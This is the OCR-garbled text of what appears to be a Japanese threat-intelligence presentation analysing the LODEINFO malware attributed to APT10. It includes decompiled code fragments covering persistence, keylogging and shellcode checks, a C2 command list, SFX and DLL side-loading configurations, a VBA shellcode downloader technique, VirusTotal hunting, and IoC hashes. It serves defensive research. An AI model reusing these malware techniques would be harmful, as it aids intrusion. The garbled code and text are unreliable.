((((((char)i 0x20) ~ v8) >> 1) ~ (ox82F63B78 * (((i | ex2e) ~ (
(((vie >> 1) ~ (ox82F63B78 * (v1@ & 1))) >> 1) ~ (©x82F63B78
* (((unsigned _
= (((vi1 >> 1) (0x82F63B78 * (v11 & 1))) >> 1) ~ (©x82F63B78
* (((unsigned _
*v7;

}

if ( (v8 ~ @xBC) == al return i ~ OxF479;

{

Justin Sobel hash Based Hashing
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Beacon payload DZE(2022/4)

strcpy(steal data_format, "%d|%d|%s|%s#%s");
o . - P - 1

Content-Type: application/x-www-form-urlencoded Snip.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like memset((unsigned int *)steal data, steal data-s>size + 1, '-');
Gecko) Chrome/81.0.4044.122 Safari/537.36 APT_TABLE = (API_TABLE *)steal data->API_TABLE;
he strcpy(version, "v0.6.2");
contentTLengt . 304_ len = ((int (__stdcall *)(char *, int))API_TABLE->lstrlen)(version, v2§
Connection: Keep-Alive stricat((_BYTE *)(steal_data->size + steal data->raw), (unsigned int)vsg

Cache-Control: no-cachejElsY-Tollg J«Xlzf:f: [&Main Data

00y11jh@Pb=0akDLygnW3PLrFUCrnbfKRCPeYuMYxzgeXKwUmulnlfVQhXGnxNaMfHiC7pu7eGyrhgp7A0Iiu5]

JUOA9IXg9GNuJoPV8mIiYmJI IxxWKENKvfmVIN_1sscMtPW7RzAqwOBDxsJVwTJvfrXCbHclrwEhTEaAH5051uMUF
rUJerIDeRylpirfPabir6u4p36wrpt2YWvNk7POSEBNXxcRr8XfIgyu9ED93xgt45458cXvyCAIc_rJTMoOpDYRK7
7h81Q3a6NcS6UOUczpRY5bItmjEZB50JgoI3Dm4.HTTP/1.0 200 OK

00 00 AB AB AB AB AB AB AB AB EE FE EE FE

4 F—HA X
4 4 E—F—H DY R
INEE L - IBIE B R
Ox11 = “RITEZIDOUNIXTIMEXZ%5I|ANSII— R |MACZ KL R
N g e =NY " DR * v.0.5.9 LC%%HB\L/%
Oy 1—9a#iaFERESO#E o N g 2 h
F—H A4 X + 27 = FRUBEWHRY ABaseb4(¥FX—)DT—% FEIE(C/INTHH B
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memory OV > K DEEEEN (2022/4)

// Magic num. for 32 bit shellcode
if ( *code == OxE9 )

64bit shellcode AD i T

}
else
_ - {
m shellcode MJcEE 1byte HZ MR if ( *code != Ox8D )
{
= strcpy(err_msg, "Invalid shellcode!");
m Ox8D OF&EIE NEHL err_msg[19] = @;
] IR size = (v9->lstrlen)(err_msg);
64bit shellcode & U T3E1T if ( Isize )

size = (v9->lstrlen)(err_msg);
v212 = v280;
if ( size )
memcpy(v280, err_msg, size);
v212[v279] = ©;
goto LABEL_198;
}
// Magic num. for 64bit shellcode (©x8D)
HIDWORD(bit flag) = 2;
// replace header 1byte for 32-bit one.
*code = OxE9;
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A7 —ILIC K BIRREHRF v 7(2022/4)

EEREN

Locale Fxwv277% UL

v2 = this;

strcpy(v138, "8H-4FQYj51Mv");

v147 = thisj

if ( laa_per'Sistance_CURRENTVERSION_RUN(this
aa_persistance_CURRENTVERSION_RUN(v2 +

if ( aa_check_K§ylog_flag((char *)v2 +
aa_create_keylog_thread();

va = v2[242];

AES_key_iv[e]

AES_key_iv[

AES_key_iv[2]

AES_key_iv[3]

AES_key_iv[4]

AES_key_iv[5]

AES_key_iv[6]

(int)this, 1) )

v2 = this;

v144 = this;

check_locale(this);

strcpy(malware_id, "nl_1Me6YE18t1");

if ( laa_persistance_CURRENTVERSION_RUN(&v2
aa_persistance_CURRENTVERSION_RUN(&v2->1lo¢

if ( aa_check_keylog_flag(&v2->lodeinfo7) )
aa_create_keylog_thread();

AES _key iv[9

ja-JP Fx v ¥

int _ thiscall check_locale(lodeinfo_struct *this)
{ -
snip.
strcpy(str_jajP, "ja-JP");
str_jajP[3] = '\0';
num = (this->LI_API->GetlLocaleInfoA) (2048, 89, lpLCData, 3);

snip.

is_not_jalP = (this->LI_API->1strcmpiA)(str_jajP, local_info);
(v13->free)(local_info);
if ( is_not_jalP )
check_locale(this);
return 1;

en-US Fx v’

int _ thiscall check_locale(LODEINFO_API_TABLE *this)
{ -
snip.
strcpy(str_enUS, "en-US");
num = (this->LI_API->GetLocaleInfoA) (2048, 89, lpLCData, 3);

snip.

is_not_enUS = (this->LI_API->lstrcmpiA)(str_enUS, local_info);
(v9->free)(local_info);
if ( !is_not_enuUS )
check_locale(this);
return 1;

MD5 hash{&

016a974e70bbce6161862e0ac01an211

dalc9006b493d7e95db4d354c5F0e99f

ff71fadc33b883de934e632ddb4c6b78

EEBIE

AT—ILEREZF v IET I,
K et AR D AR Z =47

iR DO —ILIEERA ja-JP THEWES
C DR ZEERIL—

IwmARDOYT —I)LIE®D en-US DIFHIF
C DEIE ERIL— T ( )

v0.6.2 DRFEDRTHENMEICERSDD
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> REIE (2022/6)

A=Y avhoHlfRenicav>r EERIVVER
L
774I)L— command FERMERIYY N—BZ XX
rm EE LT 71 ILOHIBR config KEE (“Not available.” ZiR9)
mv 7 71 ILDOBE) cd ALYRTALINUDEE
cp Z7A4ILOIE— send 77AIIOFIyO—R
cat C2\D 7 71 JLDEfF recv C2A D7 71 JLik{E
mkdir TaLI~Y DR memory svchost AN T)LOA—R%EA VI ¥ b
keylog F—OH—Ft kill EBELL7OEADEL
DS 7O X—BOEF ver =33 VIERDEF
pkill BEELEZ7OERDEL print A7 U—ryay kORE
autorun Kt DEXTE /R BR ransom EELIETZ 7M. T4LI KOS
> R 2" = 'I 'I AN comc WMIZFBLZOYY RET
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RIT7A—DEIL1 (2022/6)

SFX & DLL Side-Loading SFX Side-Loading
XOR 7—RK

1

1

1

I7ANE H$42 e B5E BH A :
1. I74 TAIS - : m m

0 1.docx 11,900 9,181 Microsoft Word X2 2022/06/14 11:47 X

o K7SysMn1.dll 342,528 169,345 7 Ur—3a ik 2021/08/19 2:58 :

EK7SysMon.Exe 91,464 45,247 VUL EEV 2022/04/19 17:44 :

1

1

s UTOIAVMIB A EAD)T MYV FEEATVNET

734 DR l ESH)
--- On memory --

ath=%temp%\
Setup=%temp%\1.docx
Setup=%temp%\K7SysMon.Exe

HAE
1

-
X=)LTFRLA: L-)@outlook.jp

Overwrite=1

LODEINFO
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%177 0—0ZAL2 (2022/6)

SFX & DLL Side-Loading SFX
&

Side-Loading

288 E

& E5E
B I714) TAS—-
@ 4.docx 11,731 9,009 Microsoft Word X 2022/07/04 14:01
1% K7SysMn1.dll 60,416 26,328 7S -vavtiaR 2021/10/24 1:46
[@1K7SysMon.Exe 91,464 45,247 7FUT-v3y 2022/04/19 17:44
1%/ K7SysMon.Exe.db 115,189 46,750 Data Base File 2022/07/04 10:48

B EE

I71l&

4.docx  K7SysMon.Exe.db K7SysMnl.dll K7SysMon.Exe

SV I R

B OHEN

Path=%temp%\
Setup=%temp%\4.docx
Setup=%temp%$\K7SysMon.Exe
Silent=1
Overwrite=1
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v0.6.5 OFHlEZE{L(2022/6)

V28=Rthis}

v145 = this;

aa_location_check(this);

strcpy(v136, "NxAQORV2");

if ( l'aa_persistance_CURRENTVERSION_RUN(v2 + 246,
aa_persistance CURRENTVERSION RUN(v2 + 246, v4,

Ve = V|28 2

AES_key iv[@] = OxFBF2A8B4;

AES key iv[1] Ox94E359F;

AES_key iv[2] = OXAE879BF4;

AES_key iv[3] = ©xD7F9CBB2;

AES_key iv[4] = OxA9AD1BF8;

vil = dmlsg

v138 = this;

aa_location_check(this + 284);

v2 = (LODEINFO_API_TABLE **)(vl + 247);

v3 = aa_gen_randomnum_between arg2 to arg3(vl + 247, ©, OxFFFF

aa_pseudo_sleep(vl + 284, v3 + 5000);

if ( v1[283] && !aa_persistance CURRENTVERSION RUN((LODEINFO_AFH
aa_persistance_CURRENTVERSION_RUN((LODEINFO_API_TABLE **)vi1

v6 = v1[245];

strcpy(v127, "ETnxiVjNKzOiHe");

AES_key iv[@] = 0x49DC4B91;

AES_key iv[1] = ©x93DAB13D;

AES_key iv[2] = ©x2ECBSDED;

HENG I—RZ/EAT B EIC B HELMNEsleepgEe DL
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v0.6.5 OFHlEZE{L(2022/6)

LABEL_12:
if ( ((int (*)(void))v2->LODEINFO_API_TABLE->GetTickCount)() - start_time > arg2_min_sleep_time )
break;
V19 = v48++;
if ((vi9 & 1) =9 )
{
v24 = (unsigned int *)aa_sha512_table(v37);
v25 = v52;
V26 = v24; .
for (i =10; 1 < Ox40; ++i ) vl = thlSj
v138 = this;
*((_BYTE *)v26 + v26[50]++ + 72) = *(_BYTE *)(i + v25); 3 i .
if ( v26[50] == 128 ) aa_location_check(this + 284);
{ v2 = (LODEINFO_API_TABLE **)(v1 + 247);

iggé?gtﬁwzai '3 = aa_gen_randomnum_between_arg2 to arg3(vl + 247, O, OxFFFF
} ’ _pseudo_sleep(vl + 284, v3 + 5000);
} ¢ ( v1[283] && !aa_persistance CURRENTVERSION RUN((LODEINFO_AH
gz[je]—fz“gz;—w%“el’ 64 aa_persistance CURRENTVERSION_RUN( (LODEINFO_API_TABLE **)vi
v36 = v54: v6 = V1[245]j
strcpy(v127, "ETnxiVjNKzOiHe");
AES_key_ iv[@] = ©6x49DC4B91;

7 yﬁ-ﬁ'ﬁﬁﬂu’ﬁﬁ?% x=To ‘/9-&2?‘5“0) AES_key iv[1] = ©x93DAB13D;
SHA256E§+% b.ib‘% AES_key iv[2] = ©x2ECBSDED;

HENG I—RZ/EAT B EIC B HELMNEsleepgEe DL
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£177 O0—0:EN (2022/6)

Initial infection #4: VBA + undiscovered downloader
shellcode DOWNIISSA

shellcode2vba.py

print >> outfile, 'Private Function ShellCode%s() As String' % suffix
print >> outfile, '\tDim sShellCode As String'

Back in August 2020, we discovered a fileless downloader shellcode dubbed DOWNJPIT, a variant

rint tfile,
of the LODEINFO malware, and gave a presentation on it at HITCON 2021. In June 2022, we found Sl B2 CUe e

if encoding == 'legacy':
another fileless downloader shellcode delivered by a password-protected Microsoft Word file. The HETE £ ERrile, \eSellE & T
filename is B >KEEE D #P1E 3 % U507 D384k .doc (“Enhancing the deterrence and coping power elif x64:
of the Japan-US alliance.doc”). The document file contains malicious macro code that is ¥ sc—x64-md3. asm
completely different from previously investigated samples. Once opened, the doc file shows a print >> outfile, '\tsShellCode = chr(&hEB) + chr(&h3A) + chr(&h31) + chr(&hD2) + chr(&h80) + chr(§
Japanese message to enable the following VBA code. chr(&h@4) + chr(&hB2) + chr(&h3E) + chr(&EB) + chr(&h26) + chr(&h80) + chr(&h3B) + chr(&h2F)'

print >> outfile, '\tsShellCode = sShellCode + chr(&h75) + chr(&he4) + chr(&B2) + chr(&h3F) + chr(
chr(&h3B) + chr(&h39) + chr(&h77) + chr(&h@7) + chr(&h8A) + chr(&h13) + chr(&h80) + chr(&EA) + chr(&hFC)'
print >> outfile, '\tsShellCode = sShellCode + chr(&hEB) + chr(&h1l) + chr(&h80) + chr(&h3B) + chr(

Frhr(ShQAY o Fhr(£h12) o Fhr(ShQ0A) o Ahr(ShFAY o Frhr(ShA1) o Fhr(ShER)Y 2 Frhr(ShAR) o ~hr(ShQAY o Frhr(Sh12) !

= DLL Side-Loading h5%{T7A—%2ZE LA,
ZE2BY—ILOHEAZFFRALTWRLSICREZ
ZHEROBRERBELCBVWEBDNS

https://aithub.com/DidierStevens/DidierStevensSuite/blob/
master/shellcode?vba.py

$ifc’s LODEINFO 770—&0ULT
VBA @ shellcode downloader D&

https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-i/
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https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-i
https://github.com/DidierStevens/DidierStevensSuite/blob/master/shellcode2vba.py
https://github.com/DidierStevens/DidierStevensSuite/blob/master/shellcode2vba.py

2177 0—0EM (2022/6)

97/D N 7Dt1¢ﬁ
IVIP

winword.exe C2 sever blob.tmp msiexec.exe
mh| 2 i |
------------- on memory ----- ; On memory
decoy.doc y ! y
shellcode E17 '
_

. malicious vba Downloader : Tvyzvay LODEINFO

Side-Loading & L% < # > 7zh. LODEINFO I Th ki b IC KB T B =6
BZSKEANBEE TR G BRENGEE
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RBEIIN—TDEER

Copyright © 2023 N.F.Laboratories Inc.

95



v0.6.3 @ TTPs ODE{LIhSRZS I L

. FEOAPTIIL—THFATERT 23REY FMARNEL

NEMEBEZANGEZERTZ7 7))L + DLL shellcode loader + EES{t>zILdA—K 7 71 )by
o PlugX
ShadowPad

HUI Loader
m $FiCstx filezFIA U EEF AL

2018F5BICHE I NI DB HH [ B / % \

https://www.lac.co.jp/lacwatch/people/20180521 001638.html
DmE (

g ==

= = m.doc.scr B . Adi.doc

1. RITEAOESET 7 1ILOEA

@rROYIT&ET (

Bskanik
ERI7I o—4— P e
a<_ .4_
exe

vntfxf32.dll  jeosa.ows

5 .
@STII—Kh 0 % e ORAEULTESL



https://www.lac.co.jp/lacwatch/people/20180521_001638.html

v0.6.3 ® TTPs OZ{tHh

‘ m Microsoft*

1 Office

"-@ CDIFA I RES NI

12077 IVIEEEE—F TR ENTEEEA

2ZDI7AIEBFA—ILDLEBLEEA. AL
[CEBAYE—UN—0 FELZENIT B EHY
yILET,

SIRETHIENTEEL D ELICEBDAVE
—ON—=T. [T YDEME] EVIVILET,

bRZ%IL

0.9.90

Microsoft Visual Basic for Applications X

AVA—=32Y hEFaVFABEICLDE, 77 A NERL LD
| EOEEDRF2 XY IN-DREEFHITEI L2
YFUYORML] 7V v I LTIEIY,

w7
AN ‘*F - ’ =
JU U U
9 aporatorie

A—KR7 71

-
4
=,

771 ILDOER
" exe
(D)
I\
ﬁ
- m.doc.scr B . Adi.doc

@rROYIT&ET (

—5— EBS{Enr
ERI7AIL o—% P e

EXE
Py —Pa—

peisncs.exe vntfxf32.dll jeosa.ows

< W @AEULTESL

@>TILI—EKhH » . el




T A1 7 71 ILDOREBHRDRAE

A—=TVY—ADSRETETIA T 7AILIEELTD6D

DLL shellcode loader Decoy file
REBS

e7c9d5568ed5c646c410e3928ab9a093 v0.3.5 €c031b786cb0a7479cc72d299dab2f0e3

327d8070a583bdecc349275b1f018dce v0.3.6 bca533b3336240bc5cc68117408debdf N/A
e6979fdd5f92d68cbbf06889f52f4f32 v0.5.6 1871402d3c83b2el15bf516d754458bd4 N/A
cb2fcd4fd44a7b98af37c6542b198F8d v0.5.9 da20ff8988198063b56680833¢c298113 N/A

a8220a76c2fe3f505a7561c3adbab5d4a v0.6.3 bfb70a586ad1a60509dcea8839132662 | sfx 7 7 JLIC[ET

O[O0 | MW |DN

26892038ab19c44ba55c84b20083cdbd v0.6.3 025aa@aeb7ed182321bc21e5c9f44fca | sfx 7 71 ILIicEFH
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TAM 7 71 ILDORERHEDORE

BI7AINDIA LRV TREIFTIREH U TERR

DLL shellcode loader Decoy file
Compilation ; i . Last Modified
Timestamp (JST) Creation Time (JST) Time (JST)

First Submission

Time for DLL (JST)

2020/05/20 (Wed) 14:49

2009/02/20 (Fri) 23:27

v0.3.5

2020/05/18 (Mon) 11:08

2020/05/19 (Tue) 12:07

2020/05/26 (Tue) 18:00

2009/02/21 (Sat) 03:25

v0.3.6

2020/05/25 (Mon) 12:25

2020/05/26 (Tue) 16:20

2021/11/09 (Tue) 14:55

2019/01/04 (Fri) 17:18

v0.5.6

2021/08/26 (Thu) 15:37

2021/11/06 (Sat) 05:31

2022/03/07 (Mon) 16:15

2021/04/16 (Fri) 02:40

v0.5.9

2021/08/26 (Thu) 15:37

2022/03/03 (Thu) 21:21

2022/06/17 (Fri) 20:53

2021/08/19 (Thu) 02:58

v0.6.3

2022/06/14 (Tue) 11:43

2022/06/14 (Tue) 11:47

O |Oo | MW |DN

2022/07/07 (Thu) 21:00

2021/10/24 (Sun) 01:46

v0.6.3

2022/07/04 (Mon) 14:01

2022/07/04 (Mon) 14:01
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TAM 7 71 ILDORERHEDORE

VirusTotal COHERIBREE T O1 7 71 )LD EREIRERZIDIFIF—K

First Submission DLL shellcode loader Decoy file

Time for DLL (JST) Compilation ; . . Last Modified
Timestamp (JST) Creation Time (JST) Time (JST)

] 2020/05/20 (Wed) 14:49| 2009/02/20 (Fri) 23:27 v0.3.5 2020/05/18 (Mon) 11:08 | 2020/05/19 (Tue) 12:07
2 2020/05/26 (Tue) 18:00 | 2009/02/21 (Sat) 03:25 v0.3.6 2020/05/25 (Mon) 12:25 | 2020/05/26 (Tue) 16:20
3 2021/11/09 (Tue) 14:55 | 2019/01/04 (Fri) 17:18 v0.5.6 2021/08/26 (Thu) 15:37 | 2021/11/06 (Sat) 05:31
4 2022/03/07 (Mon) 16:15| 2021/04/16 (Fri) 02:40 v0.5.9 2021/08/26 (Thu) 15:37 |2022/03/03 (Thu) 21:21
5 2022/06/17 (Fri) 20:53 | 2021/08/19 (Thu) 02:58 v0.6.3 2022/06/14 (Tue) 11:43 |[2022/06/14 (Tue) 11:47
0 2022/07/07 (Thu) 21:00 | 2021/10/24 (Sun) O1:46 v0.6.3 2022/07/04 (Mon) 14:01 |2022/07/04 (Mon) 14:01
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TAM 7 71 ILDORERHEDORE

VirusTotal COHERIBREE T O1 7 71 )LD EREIRERZIDIFIF—K

: . DLL shellcode loader Decoy file
First Submission
Time for DLL (JST) Compilation . : . Last Modified
Timestamp (JST) Creation Time (JST) Time (JST)

1 2020/05/18 (Mon) 11:08 |2020/05/19 (Tue) 12:07

2 ABDOEFERNH 2 FEE(C 2020/05/25 (Mon) 12:25 |2020/05/26 (Tue) 16:20
EFRULTWBLSICHRZS

3 2021/08/26 (Thu) 15:37 | 2021/11/06 (Sat) 05:31

4 2021/08/26 (Thu) 15:37 |2022/03/03 (Thu) 21:21

5 2022/06/14 (Tue) 11:43 |2022/06/14 (Tue) 11:47
=SHEEANE 5H I (T F 3 a6

6 ERENEH THRICHATE PR 2022/07/04 (Mon) 14:01 [2022/07/04 (Mon) 14:01
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ER/REHEBHRZ D EICULIERERHRORAE

1I—PERICEROAB D, EEADRRZBETHERL TWS &

Decoy file
1 2020/05/18 (Mon) 11:08 John 2020/05/19 (Tue) 12:07 D3vle0
2 2020/05/25 (Mon) 12:25 D3vle0 2020/05/26 (Tue) 16:20 user
3 2021/08/26 (Thu) 15:37 D3vleOpc 2021/11/06 (Sat) 05:31 D3vleOpc
4 2021/08/26 (Thu) 15:37 D3vleOpc 2022/03/03 (Thu) 21:21 D3vleOpc
5 2022/06/14 (Tue) 11:43 2022/06/14 (Tue) 11:47
6 2022/07/04 (Mon) 14:01 user 2022/07/04 (Mon) 14:01 user
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ER/REHEBHRZ D EICULIERERHRORAE

E | 897922c68132aa5663a6a259bcc43c00043b19959273f4ffb1b90014ad0becch

Q

N

o
%

Names (O

C:\Users\user\AppData\Local\Temp\1.docx
C:\Users\Admin\AppData\Local\Temp\1.docx

OpenXML Document Info (O

Document Properties

dc:creator Windows 1—4—
dcterms:modified 2022-06-14T02:47:00Z
dcterms:created 2022-06-14T02:43:00Z2
cp:lastModifiedBy Windows 1—1—
cp:revision 2

TotalTime 4

DocSecurity 0

Characters 39

SharedDoc false
HyperlinksChanged false

Lines 1

m v0.6.3 TCERASINETIAT77AILEKT)ICIE
office document @ property (<
“Windows 1 —H—" DX F5

o AHDDYHEICIERAS
LH L. —MREICIERRA ~DI—HZH
ABGENZ W HEBEEEEIEE BV

%1 MDb5: bfb70a586ad1a60509dcea8839132662
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VirusTotal T3 L CTHEER

34 BT "Windows 1—%—" iREIBERICH Sdocx 7 71 ILiFfc o I s
= Hep QA 8 (8 Noanroser )

E | entity:file AND tag:docx AND metadata:"Windows ZL—1'—" =
~
= ~
Q FILES 20/30 ~ /\ 90 days
\ ~
~
~
@ ~ ~ Sortby ¥ Filter by ~ Export ~ Tools ~ Help ~
I— —-— o - —\ ————————— RetPElie NG BT S O Al Last seen
A 98D69542D242C1681ED6353279DDE290D8 103F 61 tag - VT D 9 7“‘: ot 3 I\ ;\: 2 XY |\ 771 )Lg)? :
. 2023-01-03
o ® www.pref.kanagawa‘jp_documenl |2 02:32:15
— | e
850 GiESES I metadata: 771 ILDXYT—FIRER I
o [
8ADBID191C2C7243CD9182D21F5F55413F3C7D92526E4007B3L 7D 1 60F87CT8 = — — — — — =— &= &= = == === == -
2021-03-25 2023-01-03
{_} o ® mheelinic. jp_www_mhcintroductionsheet.docm.doc 0/65 111.96 KB 02:50:11 01:05:58
- docx  macros o o
@ 36623B0175B6EDB1532A8A872484B1D7D56E18CEFF7BEICBBBICD6@157E1BCFC
2023-01-01 2023-01-01
/ 53.52 KB
®® 0765 17:24:57 17:24:57
=N docx  calls-wmi

65 BOEBEEITTH 94 ORI > 192 L WHIHAE
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“Windows 1—H'—

TR

1515k
Windows 1—1—

U=
Jo0774
H47Ir

7 NOYINER

Office DB =:

=

Office 7—Y
570

BHRAEHT LR

Office 2016 LT D HWHZAKEE/

" R

HmEHk

] Office

AU ARSI NTZE @
Microsoft Office Professional Plus 2016
COERIFUTHEENET.

DEEREPESG
TOGHt $-0%E

Q Word ®O)\—->3V1EHR

Word, H7fi— b, J054h 1D, EVEECAET3EEIER.

Word @
S-S/ a5k

//’
L

\
o

YIEREN RN S N D T & =R

HIRIBER

X
E.:. Word OEAAT A ABEVET.
A—Y— 4259-JIAADAT 3>
ZHRES|
UZIAA LDT
Syt EONEE (
MDA IL(R): t/hlﬁa‘c);ﬁﬂﬂz%—% v
Microsoft Office D1—¥—E
A () Windows 1—4—
S F(1): WL
|:| Office ADHA 1%
BLET Word TRAT71IL4E3 BEONTOY5A.
Microsoft Word Atz
—IDFATPIAARET
oK Footl
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VirusTotal TO I S 5HE

=5

I AV Scan TIDTCHEHHIESNIZDDICRET & ~ HFIcEFTROENS

E | entity:file AND tag:docx AND metadata:"Windows —*—" AND p1\| % Help Q n §§§ @ Noah Foster n
NUTL=— - % ===
Q FILES 2/2 Y p: AV Scan TEMYEINILBOERE A 90 days
@ Sortby ¥ Filter by ~ Export ¥ Tools ~ Help ~
Detections Size First seen Last seen Submitters
/\/Y DC9505D698ADBD1A89475613321DD0@114482BA129515C617DE4BBC368A2B4708

o
=1

)

® ® N 11.dot 1/66 29.81 KB 2022-11-28 2022-11-28 1
ormall.do .
03:45:39 03:45:39
docx macros open-file environ
36FB6EB6CA6A517391C722046C769A31283B784738F2B4AB62A4ACCBO528BOEA
@ ® tract.d 27/58  102850KB SO 00312 20221119 1 o
eeeee .docx_ .
09:36:45 03:00:35

docx run-file exe-pattern create-fle macros environ attachment create-ole

BARZEDOHWofficeRIBEZAELTT A 7 7ML ZER T 2KREE T IL— T

EBICRESNTWS EFAE
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VirusTotal TDOE 57455

OH

S5(C AV Scan TIDO TCHEHHTESINLEBDICRET & -~ HICETRSNS

E | entity:file AND tag:docx AND metadata:"Windows Z—1—" AND p:14] % Help Q n §§§ @ Noah Foster n
3 A IJ = - ﬂéﬁ ?b =
Q FILES 2/2 Y p: AV Scan TEMYEINILBOERE A\ 90 days
@ Sortby ¥ Filter by ~ Export ¥ Tools ~ Help ~
Detections Size First seen Last seen Submitters
/\/Y DC9565D698ADBD1A89475613321DD@114482BA129515C617DE4BBC368A2B4708
2022-11-28 2022-11-28
& @ ' Normall.dot 1/66 29.81 KB 03:45:39 03:45:39 1
docx macros open-file environ
36FB6EB6CA6A517391C722046C769A31283B784738F2B4AB62A4ACCBO528BOEA
2018-03-12 2022-11-19 L
{_} S ® extract.docx_ 27 /58 1023.59 KB 09:36:45 03:00:35 1
B docx run-file exe-pattern create-fle macros environ attachment create-ole
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“Windows 1—Y—" BEExNI3EEREDINE

FIFEDFETHATELREN 13 . SEA—TYY—IANSREIHIEA L &HEN

First Submission

BEShk771I1L%&

(i3

Last Modified Time

c965bcc3b2bc3d54bc93121ae46ebobo

Time for VT (JST)
2017/11/29 (Wed) 15:33

BHEED S DIFRIRR (FRFTHR)
2.docm

Creation Time (JST)

2017/11/29 (Wed) 15:33

(JST)

2017/11/29 (Wed) 15:33

797b450509e9cad63d30cd596ac8b608

2018/01/10 (Wed) 16:18

2018FE (FRL30EE) fMHliEICD
LW TT.doc, 1.docx

2018/01/09 (Tue) 12:56

2018/01/09 (Tue) 13:25

57228e857180205643a0elclb43a5c3f

2018/01/23 (Tue) 13:45

test.doc

2018/1/18 (Thu) 13:45

2018/01/18 (Thu) 13:50

fefaa@df12195fc3d90d9393ad3a7840

2018/01/30 (Tue) 13:55

HEEF7 7 MLy 2 .doc

2018/01/29 (Mon) 18:41

2018/01/29 (Mon) 18:55

9706c9b6c5133c2a9be5a67dav69b97f

2018/02/01 (Thu) 13:41

[MD5 hash value]

2017/11/29 (Wed) 15:33

2017/11/29 (Wed) 15:33

b7b97eb5a297e8371b6964a83f4650da

2018/02/01 (Thu) 13:45

Imane.doc

2017/11/29 (Wed) 15:33

2017/11/29 (Wed) 15:33

95b8621508bd2473012065947abc2eb3

2018/03/12 (Mon) 18:36

MRS RBERE DR doc

2018/03/09 (Fri) 18:05

2018/03/09 (Fri) 18:09

edb9a79d594e5a05a83e450e7a27637b

2018/04/03 (Tue) 17:08

test.doc

2018/04/03 (Tue) 16:47

2018/04/03 (Tue) 16:47

£82fbfb10958eb37e0d570c66c180clb

2018/04/03 (Tue) 19:03

1.docx

2018/01/09 (Tue) 12:56

2018/01/09 (Tue) 13:25

82f65647ff02fb0f13880f9158acfbcd

2018/04/26 (Thu) 18:50

[6B26H (A) ] T=BEERER
ig=s ZEMW2.doc.docm

2018/04/26 (Thu) 18:49

2018/04/26 (Thu) 18:49

56cbbea8535c0e8ae967fcdecl17db491

2018/05/24 (Thu) 08:02

EZRER EERETS.doc

2018/05/15 (Tue) 09:45

2018/05/15 (Tue) 13:06
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“Windows 1—Y—" BEExNI3EEREDINE

FIFEDFETHATELREN 13 . SEA—TYY—IANSREIHIEA L &HEN

First Submission

BEShk771I1L%&

(i3

Last Modified Time
(JST)

Time for VT (JST)

112 TH
2018F5RICHRENH o I
APT10 DAXRL—>3 2T
ERSNhfcTa17 711

(Moderate Confidence)

PBrEEN S OBHRER (&R

2.docm

Creation Time (JST)

2017/11/29 (Wed) 15:33

2017/11/29 (Wed) 15:33

20185 E (FH30FE) HimlciEIcD

WWT.doc,

2018/01/09 (Tue) 12:56

2018/01/09 (Tue) 13:25

test.doc

2018/1/18 (Thu) 13:45

2018/01/18 (Thu) 13:50

HEEF7 7 MLy 2 .doc

2018/01/29 (Mon) 18:41

2018/01/29 (Mon) 18:55

[MD5 hash value]

2017/11/29 (Wed) 15:33

2017/11/29 (Wed) 15:33

Imane.doc

2017/11/29 (Wed) 15:33

2017/11/29 (Wed) 15:33

MRS RBERE DR doc

2018/03/09 (Fri) 18:05

2018/03/09 (Fri) 18:09

test.doc

2018/04/03 (Tue) 16:47

2018/04/03 (Tue) 16:47

2018/01/09 (Tue) 12:56

2018/01/09 (Tue) 13:25

[6BH26H (k)] T=@BEES
ig=s ZEMW2.doc.docm

ura
R

2018/04/26 (Thu) 18:49

2018/04/26 (Thu) 18:49

EZRER EERETS.doc

2018/05/15 (Tue) 09:45

2018/05/15 (Tue) 13:06
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et

Operation RestyLink & DES;

22 RERE. ERBUA. 3 AT(TERBELIEESh IR RTER
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Q Linode

Hey there! Would you mind submitting an abuse report about this? We'd
like to investigate further

linode Akamai

Cloud Compute and
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Report Abuse

Q MigawarilV
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Thanks for the reply! | submitted abuse report!!
| know it is very difficult to determine malignancy, but please investigate
further. @
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m Localize sNZENERATOA > 72T
HBDIEZIRAT DI ENFHZFHEH LWL
o JcE&E AXWIMICRIMEREEETH
HEEICETHDIMI GV E
TAUTITUDEL L

o RATHIERETZSLODEINFO C2
'|j' /“ nJ—.EEBL.t PP ]

m FEZIEZUXREabuse reportid
T I 2D FHWRDIF E [FAEE

Malware report from Ryo Minakawa o @ e « o

o) Website <wordpress@FEL.com> 20224 8A6H L&A 015

LW |k (

Report Contents

Abuse Type  malware

First Name Ryo

Last Name Minakawa
Title LODEINFO malware's infrastructure

Email

Entity

Entity Domain
Entity Email
Date & Time of
Event
Offending URL

Source IP
Address

Name

2022-07-30 00:00:00

172.104.72.4

In 07/30/2022, a LODEINFO malware sample which is used Chinese APT group was submitted tc
https://www.virustotal.com/guiffile/31c87d9a84c7996a56024c93787de9332099faf707cd8d0166et
LODEINFO malware ref. => https://vb2020.vblocalhost.com/uploads/VB2020-66.pdf Analysis of ti
that port 80 of the corresponding IP address (i.e. http:/1 72[.]4) was registered in the malw
Evidence/Logs a Command & Control server. Ref. Image => https:/twitter.com/Metemcyber/status/15553737587
to determine maliciousness because the malware does not return malicious content unless it follo
communication method. Given that the same version of the malware was discovered on 5/30, it is
attacker possessed the malware before or after 5/30. => Ref.:
https:/Awitter. com/8thfg@y owl/status/1 531 229460250230784
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The Sliding Scale of Cyber Security
(SANS: TThe Sliding Scale of Cyber Securitys ®X1& D 5|F)
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Appendix A: loC - file hash (1)

b50d83820a5704522fee59164d7bc69bea5c834ebd9be7fd8ad35b040910807F dll v0.1.2
1cc809788663e6491fced2c758ca3e52e35177b83c6F3d1b3abod319a350d77d shellcode v0.3.2
8c062fef5a04f34f4553b5db57cd1a56df8a667260d6ff741f67583aed0d4701 dll v0.3.5
65433fd59c87acb8d55ea4f90a47e07fea86222795d015fe@3fbal8717700849 dll v0.3.6
641d1e752250d27556de774dbb3692d24c4236595ee0e26cc055d4ab5e9cdbed doc v0.3.5
73470ea496126133fd025cfa9b3599bea9550abe2c8dO65dellafb6f7aabbsdf doc v0.3.6
3fda6fd600b4892bdald28c1835811a139615db41c99a37747954dcccaebffee dll v0.4.6
f142eecf2defc53a310b3b0vae39ffecclc345527fdfbfea8ccccdod69276b4l dll v0.4.9
2169d93f344e3f353444557b9009aef27f1b0ava8aa3d947b5b8fOb36ef20672 dll v0.5.6
d75537d59954ec3cc092378f00b16b6c9935590ef1074cb308eled65e€922762¢ dll v0.5.6
